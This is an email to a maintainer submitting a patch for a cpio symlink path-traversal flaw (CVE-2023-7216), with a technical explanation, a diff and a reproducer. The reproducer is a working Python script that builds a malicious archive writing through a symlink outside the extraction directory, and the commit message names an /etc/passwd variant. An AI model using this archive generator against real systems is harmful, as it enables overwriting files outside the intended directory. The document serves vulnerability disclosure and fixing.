Hello Sergey, Sending a small patch for CVE-2023-7216 (path traversal via through-symlink extraction). The CVE has been on NVD since 2023 but the fix has not landed upstream; Red Hat carries a distro-only mitigation.
At HEAD (3cd5140), `copyin_link` in `src/copyin.c:791-815` calls `UMASKED_SYMLINK` directly whenever `--no-absolute-filenames` is not in effect. The mitigation primitive `symlink_placeholder` / `replace_symlink_placeholders` already exists in the same file but is only reachable through the `no_abs_paths_flag` branch. Removing the gate so the placeholder path is always taken closes the CVE without any new code. The placeholder approach is already known to be correct under attacker-controlled inputs: - `symlink_placeholder` at `src/copyin.c:663-712` creates a zero-permission regular file at the entry's path. - `replace_symlink_placeholders` at `src/copyin.c:714-764` walks the deferred table at the end of `process_copy_in` and atomically swaps each placeholder for the real symlink (also applying mode/uid/gid/ mtime). It guards against substitution via `lstat` + `st_dev/st_ino` comparison before unlinking the placeholder. Because the placeholder is a regular file while extraction is in progress, any later archive entry whose path traverses it (e.g. "outside/passwd" where "outside" was a symlink entry earlier in the archive) sees ENOTDIR on the parent component and the malicious write is refused. After extraction completes, the placeholder is replaced with the genuine symlink, so the on-disk result for benign archives is identical. Reproducer (against an unpatched build of HEAD) ----------------------------------------------- $ python3 build-poc.py # generates evil.cpio $ mkdir -p /tmp/victim /tmp/sandbox $ echo "ORIGINAL" > /tmp/victim/secret.txt $ ( cd /tmp/sandbox && /path/to/built/cpio -id < evil.cpio ) $ cat /tmp/victim/secret.txt PWNED-VIA-SYMLINK-TRAVERSAL The minimal generator script is attached at the end of this email for convenience. After applying the patch, the same command sequence yields: $ cat /tmp/victim/secret.txt ORIGINAL Patch ----- Attached as `0001-copyin-always-materialise-symlinks-via-placeholder-C.patch` generated with `git format-patch [email protected]`. Inline copy below for archive-grep convenience: >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >From b80530f7f4285c9ebb600106642cbb8594dfb61d Mon Sep 17 00:00:00 2001 From: evilgensec <[email protected]> Date: Wed, 27 May 2026 14:52:09 +0545 Subject: [PATCH] copyin: always materialise symlinks via placeholder (CVE-2023-7216) Before this change, copyin_link() created the symbolic link immediately via UMASKED_SYMLINK whenever --no-absolute-filenames was not in effect. An archive containing a symlink entry followed by another entry inside that symlink (e.g. "outside -> /etc" then "outside/passwd") therefore caused the second entry to traverse the just-created symlink and write outside the extraction tree, exactly the pattern documented as CVE-2023-7216. The deferred-creation primitive symlink_placeholder() / replace_symlink _placeholders() already exists in the file and is correct under attacker-controlled inputs: it lays down a zero-permission regular file at extraction time and only swaps it for the real symbolic link at the end of process_copy_in, after all archive entries have been written. No subsequent entry can be redirected through the symlink because at the moment its path is opened, the placeholder file is still a regular file and open(2) on "outside/anything" fails with ENOTDIR. Remove the no_abs_paths_flag gate around the placeholder branch so the safe path is always taken. The deferred replacement already applies the requested mode, owner and timestamp, so behaviour for benign archives is unchanged. * src/copyin.c (copyin_link): drop the immediate-UMASKED_SYMLINK branch and the unused res variable. CVE: CVE-2023-7216 --- src/copyin.c | 32 ++++++-------------------------- 1 file changed, 6 insertions(+), 26 deletions(-) diff --git a/src/copyin.c b/src/copyin.c index 7ed9474..e43c11c 100644 --- a/src/copyin.c +++ b/src/copyin.c @@ -767,7 +767,6 @@ static void copyin_link (struct cpio_file_stat *file_hdr, int in_file_des) { char *link_name = NULL; /* Name of hard and symbolic links. */ - int res; /* Result of various function calls. */ if (archive_format != arf_tar && archive_format != arf_ustar) { @@ -788,31 +787,12 @@ copyin_link (struct cpio_file_stat *file_hdr, int in_file_des) link_name = xstrdup (file_hdr->c_tar_linkname); } - if (no_abs_paths_flag) - symlink_placeholder (link_name, file_hdr->c_name, file_hdr); - else - { - res = UMASKED_SYMLINK (link_name, file_hdr->c_name, - file_hdr->c_mode); - if (res < 0 && create_dir_flag) - { - create_all_directories (file_hdr->c_name); - res = UMASKED_SYMLINK (link_name, file_hdr->c_name, file_hdr->c_mode); - } - if (res < 0) - symlink_error (link_name, file_hdr->c_name); - else if (!no_chown_flag) - { - uid_t uid = set_owner_flag ? set_owner : file_hdr->c_uid; - gid_t gid = set_group_flag ? set_group : file_hdr->c_gid; - if (lchown (file_hdr->c_name, uid, gid) < 0 && errno != EPERM) - chown_error_details (file_hdr->c_name, uid, gid); - } - - if (retain_time_flag) - set_file_times (-1, file_hdr->c_name, file_hdr->c_mtime, - file_hdr->c_mtime, AT_SYMLINK_NOFOLLOW); - } + /* Always create symbolic links through symlink_placeholder so that + later archive entries cannot be redirected by a freshly-extracted + symlink (CVE-2023-7216). The real symlink is materialised at the + end of extraction by replace_symlink_placeholders, which also + applies the requested mode, owner and timestamp. */ + symlink_placeholder (link_name, file_hdr->c_name, file_hdr); free (link_name); } -- 2.50.1 <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< Reproducer script (build-poc.py) -------------------------------- #!/usr/bin/env python3 def newc_entry(name, mode, content, ino=0, mtime=1700000000): if isinstance(content, str): content = content.encode() name_bytes = (name + '\0').encode() namesize = len(name_bytes) filesize = len(content) header = b'070701' + b''.join(b'%08x' % v for v in ( ino, mode, 0, 0, 1, mtime, filesize, 0, 1, 0, 0, namesize, 0)) entry = header + name_bytes entry += b'\0' * ((-len(entry)) & 3) entry += content entry += b'\0' * ((-len(content)) & 3) return entry S_IFLNK = 0o120000 S_IFREG = 0o100000 archive = newc_entry('outside', S_IFLNK | 0o777, b'/tmp/victim', ino=2) archive += newc_entry('outside/secret.txt', S_IFREG | 0o644, b'PWNED-VIA-SYMLINK-TRAVERSAL\n', ino=3) archive += newc_entry('TRAILER!!!', 0, b'', ino=0) open('evil.cpio', 'wb').write(archive) Notes ----- I did not run autotools locally (macOS, missing gettext); the change is strictly to `src/copyin.c` and `git apply` against HEAD applies cleanly. Happy to attach a full v2 with autotools regeneration if helpful. If credit is offered on a future ChangeLog or release announcement, please credit as "evilgensec". Best, evilgensec
